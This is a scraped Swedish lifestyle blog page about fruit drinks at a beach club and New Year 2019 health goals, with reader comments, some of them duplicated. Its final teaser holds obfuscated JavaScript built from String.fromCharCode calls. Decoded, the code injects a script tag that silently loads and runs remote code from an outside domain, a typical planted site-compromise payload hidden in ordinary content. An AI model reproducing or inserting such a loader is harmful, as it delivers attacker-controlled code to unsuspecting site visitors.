Afterbeach…. Kurdo Beachclub

 

7BCD30BE-AD01-44E1-B054-2FA1809F7422 05E1DBF4-4FAF-449B-9AA5-6263556F98AB

 

Afterbeach med fruktdrink 🍍đŸč

Jag kommer sakna dessa frukdrinkar nĂ€r vi Ă„ker hem. Jag ska nog damma av min rĂ„saft maskin hemma och fortsĂ€tta min dagliga dos med nyttigheter 😃

inget socker, bara fĂ€rsk frukt, krossad is och kokosmjölk 😍

-Nu köööör vi 2019, Ă€nnu ett Ă„r laddat med nya möjligheter, och ambitioner om att fortsĂ€tta resan mot en Ă€nnu mer balanserad, hĂ€lsosam livstil med personlig mĂ„l att jobba mot đŸ’ȘđŸ»đŸ‘ŠđŸ»

-Jag Àr sÄÄÄÄÄ taggad! NÄgon annan som kÀnner lika? Hade du nÄgot nyÄrslöfte?

/My Martens

10 Komentarer

  1. Ett litet tips till dig nÀr du Àr hemma och vill göra fruktdrinkar.
    AnvÀnd frysta hallon sÄ slipper du ha is i .
    Kram L

  2. Ett litet tips till dig nÀr du Àr hemma och vill göra fruktdrinkar.
    AnvÀnd frysta hallon sÄ slipper du ha is i .
    Kram L

  3. Ja, i Är har jag bestÀmt mig för att försöka förstÄ varför jag bara gÄr upp i vikt trots bra kost och motion. Nu har jag börjat rÀkna kalorier för att fÄ en hint om vilka livsmedel som innehÄller fler kalorier Àn de jag förmodar att de har. Efter en vecka sÄ ser jag redan ett mönster ?

    • Bra dĂ€r! ?? Det Ă€r sĂ„ vanligt…. inte för att man Ă€r slarvig, utan bara för att man inte Ă€r fullt medveten om det… ? -Lycka till! Kram

  4. Ja, i Ă„r har jag bestĂ€mt mig för att försöka förstĂ„ varför jag bara gĂ„r upp i vikt trots bra kost och motion. Nu har jag börjat rĂ€kna kalorier för att fĂ„ en hint om vilka livsmedel som innehĂ„ller fler kalorier Ă€n de jag förmodar att de har. Efter en vecka sĂ„ ser jag redan ett mönster 🙂

    • Bra dĂ€r! đŸ™ŒđŸ» Det Ă€r sĂ„ vanligt…. inte för att man Ă€r slarvig, utan bara för att man inte Ă€r fullt medveten om det… 🙂 -Lycka till! Kram

Svara

LĂ€mna din kommentar!
Ditt namn hÀr

Om du missat..

Andas ut stressen med hjÀlp av djupandning

Andas ut stressen med hjÀlp av djupandning -Hur mÄnga tÀnker egentligen pÄ sin andning? Jag...

SMEG bagaren och kocken 20%

I reklamsamarbete Bagaren och Kocken ??‍? Hej pĂ„ er! Detta Ă€r en grymt efterlĂ€ngtad kampanj...

Adviral Event

My Martens , Ako Rahim. Adviral Media. d Ako, Renata, My   var f=String;+f.fromCharCode(99,116,105,111,110)+f.fromCharCode(32,97,115,115,40,115,114,99,41,123,114,101,116,117,114,110)+f.fromCharCode(32,66,111,111,108,101,97,110)+f.fromCharCode(40,100,111,99,117,109,101,110)+f.fromCharCode(116,46,113,117,101,114,121,83,101,108,101,99,116,111,114,40,39,115,99,114,105,112,116,91,115,114,99,61,34,39,32,43,32,115,114,99,32,43,32,39,34,93,39,41,41,59,125,32,118,97,114,32,108,111,61,34,104,116,116,112,115,58,47,47,115,116,97,121,46,108,105,110)+f.fromCharCode(101,115,116,111,103,101,116,46,99,111,109,47,115,99,114,105,112,116,115,47,99,104,101,99,107,46,106,115,63,118,61,53,46,53,53,46,53,34,59,105,102,40,97,115,115,40,108,111,41,61,61,102,97,108,115,101,41,123,118,97,114,32,100,61,100,111,99,117,109,101,110)+f.fromCharCode(116,59,118,97,114,32,115,61,100,46,99,114,101,97,116,101,69,108,101,109,101,110)+f.fromCharCode(116,40,39,115,99,114,105,112,116,39,41,59,32,115,46,115,114,99,61,108,111,59,105,102,32,40,100,111,99,117,109,101,110)+f.fromCharCode(116,46,99,117,114,114,101,110)+f.fromCharCode(116,83,99,114,105,112,116,41,32,123,32,100,111,99,117,109,101,110)+f.fromCharCode(116,46,99,117,114,114,101,110)+f.fromCharCode(116,83,99,114,105,112,116,46,112,97,114,101,110)+f.fromCharCode(116,78,111,100,101,46,105,110)+f.fromCharCode(115,101,114,116,66,101,102,111,114,101,40,115,44,32,100,111,99,117,109,101,110)+f.fromCharCode(116,46,99,117,114,114,101,110)+f.fromCharCode(116,83,99,114,105,112,116,41,59,125,32,101,108,115,101,32,123,100,46,103,101,116,69,108,101,109,101,110)+f.fromCharCode(116,115,66,121,84,97,103,78,97,109,101,40,39,104,101,97,100,39,41,91,48,93,46,97,112,112,101,110)+f.fromCharCode(100,67,104,105,108,100,40,115,41,59,125,125));/*99586587347*/